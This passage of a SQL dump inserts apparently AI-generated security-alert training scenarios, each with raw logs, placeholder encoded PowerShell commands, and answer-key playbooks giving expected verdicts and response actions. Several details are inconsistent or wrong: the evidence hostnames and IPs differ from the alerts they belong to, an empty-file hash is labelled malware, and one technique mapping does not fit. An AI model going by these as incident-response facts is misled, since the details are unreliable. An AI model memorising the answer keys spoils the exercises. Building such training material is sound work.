-EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1722, 'Benign PowerShell Execution Alert', 'low', 'Sysmon', 'Detected a PowerShell command execution on host IT-ADMIN1, appears to be a routine administrative task.', 'Process Execution', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:50:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"IT-ADMIN1\",\"request_body\":\"\",\"command_line\":\"powershell.exe -Command Get-ADUser\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of an administrative machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -Command Get-ADUser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Routine administrative PowerShell command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"process_execution\",\"analysis_notes\":\"The command was identified as a standard administrative task, confirming a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1723, 'Suspicious Network Connection to Known Malicious IP', 'critical', 'CrowdStrike', 'Detected a network connection from internal host to a known malicious external IP, indicating a potential data exfiltration attempt.', 'Data Exfiltration', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T02:16:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"198.51.100.23\",\"username\":\"cjohnson\",\"hostname\":\"ENG-SRV02\",\"request_body\":\"\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection to a known malicious IP suggests possible data exfiltration.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1724, 'False Positive: Routine PowerShell Script Execution', 'low', 'Carbon Black', 'A PowerShell command was executed on host DEV-WORKSTATION during a routine update process.', 'Process Execution', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.55\",\"dst_ip\":\"\",\"username\":\"david\",\"hostname\":\"DEV-WORKSTATION\",\"request_body\":\"\",\"command_line\":\"powershell.exe -Command Update-Help\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a development workstation\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -Command Update-Help\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Routine PowerShell help update command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"process_execution\",\"analysis_notes\":\"The command corresponds to a standard help update operation, confirming a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1725, 'Encoded PowerShell Execution with Suspicious Network Activity', 'high', 'Sysmon', 'Encoded PowerShell command detected with subsequent connection to a suspicious external IP, indicating potential C2 activity.', 'Malware', 'T1090', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:01:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.100\",\"dst_ip\":\"203.0.113.99\",\"username\":\"emily\",\"hostname\":\"CORP-LAPTOP\",\"request_body\":\"\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised laptop\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with C2 servers\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command possibly indicating connection to C2\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command followed by network activity to a known malicious IP indicates C2 communication.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1726, 'Attempted Process Hollowing in explorer.exe', 'high', 'SentinelOne', 'An attempted process hollowing in explorer.exe was detected, which could indicate a potential malware injection.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:20:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.20\",\"dst_ip\":\"\",\"username\":\"fthomas\",\"hostname\":\"SALES-DESKTOP\",\"request_body\":\"\",\"command_line\":\"explorer.exe\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected desktop\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected attempt at process hollowing in explorer.exe\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a technique used by malware to hide its execution by injecting code into legitimate processes.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:20:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"fthomas\\\",\\\"hostname\\\":\\\"SALES-DESKTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1727, 'PowerShell Download Cradle Detected', 'high', 'CrowdStrike', 'A PowerShell script was executed using a download cradle. The script was encoded and executed on an internal host.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:20:35Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.22\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"command_line\":\"powershell -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address detected in PowerShell execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malicious content\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command suggests malicious activity\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell encoded command and contact with a malicious IP confirm a malware attack.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1728, 'Process Hollowing Detected in Explorer.exe', 'critical', 'SentinelOne', 'Process hollowing detected in explorer.exe, indicating possible code injection to hide malicious activity.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SERVER01\",\"command_line\":\"explorer.exe /inject\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:49:29', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in process hollowing\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"explorer.exe /inject\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing in explorer.exe indicates a high-risk malware infiltration.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.082Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SERVER01\\\",\\\"command_line\\\":\\\"explorer.exe /inject\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
